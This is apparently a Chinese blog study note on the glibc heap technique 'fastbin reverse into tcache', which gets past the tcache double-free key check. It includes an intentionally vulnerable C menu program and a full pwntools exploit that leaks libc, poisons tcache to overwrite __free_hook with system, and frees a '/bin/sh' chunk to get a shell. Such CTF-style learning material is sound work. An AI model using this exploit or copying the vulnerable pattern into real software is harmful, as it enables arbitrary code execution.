当前位置: 首页 > news >正文

【我的 PWN 学习手札】fastbin reverse into tcache —— tcache key 绕过

目录

前言

一、tcache reverse into tcache

二、测试与模板 


前言

之前提到过,较高版本的 glibc,设置了 key 对 tcachebin 内的 double free 进行了检查。 除了前面几篇手札罗列的绕过方法,今天又遇到一个,特此记录。之前利用 fastbin 来进行绕过,参见

【我的 PWN 学习手札】tcache stash with fastbin double free —— tcache key 绕过-CSDN博客

而此次总结的,也是利用 tcache stash 的机制。


一、tcache reverse into tcache

话不多说,进入主题。首先申请释放14个chunk

 然后申请一个,让 tcachebin 空出一个位置

接着利用 double free,再次释放 chunk8。注意,因为 tcachebin 中没有 chunk8,所以可以通过 key 对 tcache double free 的检查。

构成上图 double free 的状态。然后申请8个chunk,触发 tcache stash

注意,我们申请出来的合法的 chunk8,也正被链在 tcachebin 上。因此只需要以合法的方式修改 chunk8 即可打 tcache poisoning。

二、测试与模板 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())gdb.attach(io)
# leak libc
add(0,0x410)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7591b55b6be0+0x7591b5200000
libc.address=libc_base
success(hex(libc_base))
add(0,0x410)# tcache reverse into fastbin
for i in range(14):add(i,0x60)
for i in range(14):delete(i)
pause()
add(0,0x60)
delete(7)
pause()
add(0,0x60)
for i in range(8):add(1,0x60)
pause()
edit(0,0x8,p64(libc.sym['__free_hook']))
pause()
add(0,0x60)
add(0,0x60)
edit(0,0x8,p64(libc.sym['system']))
pause()
edit(1,0x8,b'/bin/sh\x00')
delete(1)
io.interactive()

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 科大讯飞智能体Python SDK接入流程
  • 我能禁止使用某协议的ip禁止访问我的资源吗
  • provide 和 inject
  • 容器化安装Jenkins部署devops
  • 基于SpringBoot的在线点餐系统【附源码】
  • 【Unity设计模式】Unity MVC/MVP架构介绍,及MVC/MVP框架的简单应用
  • json格式互相转换
  • [论文笔记] 多语言配比的自动化超参搜索
  • 第三讲 part 2:LINK3D原理 - 代码 - 自定义内容
  • 【VUE】vue-router
  • 在虚幻引擎中实时显示帧率
  • 【计算机网络 - 基础问题】每日 3 题(二十)
  • nginx+keepalived健康检查案例详解(解决nginx出现故障却不能快速切换到备份服务器的问题)
  • 也遇到过 PIL Image “image file is truncated“的问题
  • 锤炼核心技能以应对编程革命
  • 【162天】黑马程序员27天视频学习笔记【Day02-上】
  • 【407天】跃迁之路——程序员高效学习方法论探索系列(实验阶段164-2018.03.19)...
  • 【干货分享】SpringCloud微服务架构分布式组件如何共享session对象
  • 【挥舞JS】JS实现继承,封装一个extends方法
  • Django 博客开发教程 8 - 博客文章详情页
  • ES6 学习笔记(一)let,const和解构赋值
  • Java多态
  • JS笔记四:作用域、变量(函数)提升
  • mac修复ab及siege安装
  • Markdown 语法简单说明
  • niucms就是以城市为分割单位,在上面 小区/乡村/同城论坛+58+团购
  • PAT A1050
  • PAT A1092
  • PermissionScope Swift4 兼容问题
  • V4L2视频输入框架概述
  • 阿里中间件开源组件:Sentinel 0.2.0正式发布
  • 检测对象或数组
  • 入职第二天:使用koa搭建node server是种怎样的体验
  • 扫描识别控件Dynamic Web TWAIN v12.2发布,改进SSL证书
  • 什么是Javascript函数节流?
  • 微信小程序:实现悬浮返回和分享按钮
  • 我感觉这是史上最牛的防sql注入方法类
  • 我看到的前端
  • 一些关于Rust在2019年的思考
  • 1.Ext JS 建立web开发工程
  • LevelDB 入门 —— 全面了解 LevelDB 的功能特性
  • ​​快速排序(四)——挖坑法,前后指针法与非递归
  • #HarmonyOS:Web组件的使用
  • #微信小程序:微信小程序常见的配置传值
  • ( )的作用是将计算机中的信息传送给用户,计算机应用基础 吉大15春学期《计算机应用基础》在线作业二及答案...
  • (1)Jupyter Notebook 下载及安装
  • (3)STL算法之搜索
  • (52)只出现一次的数字III
  • (BFS)hdoj2377-Bus Pass
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第2节(共同的基类)
  • (poj1.3.2)1791(构造法模拟)
  • (vue)页面文件上传获取:action地址
  • (八十八)VFL语言初步 - 实现布局
  • (二)springcloud实战之config配置中心
  • (二)什么是Vite——Vite 和 Webpack 区别(冷启动)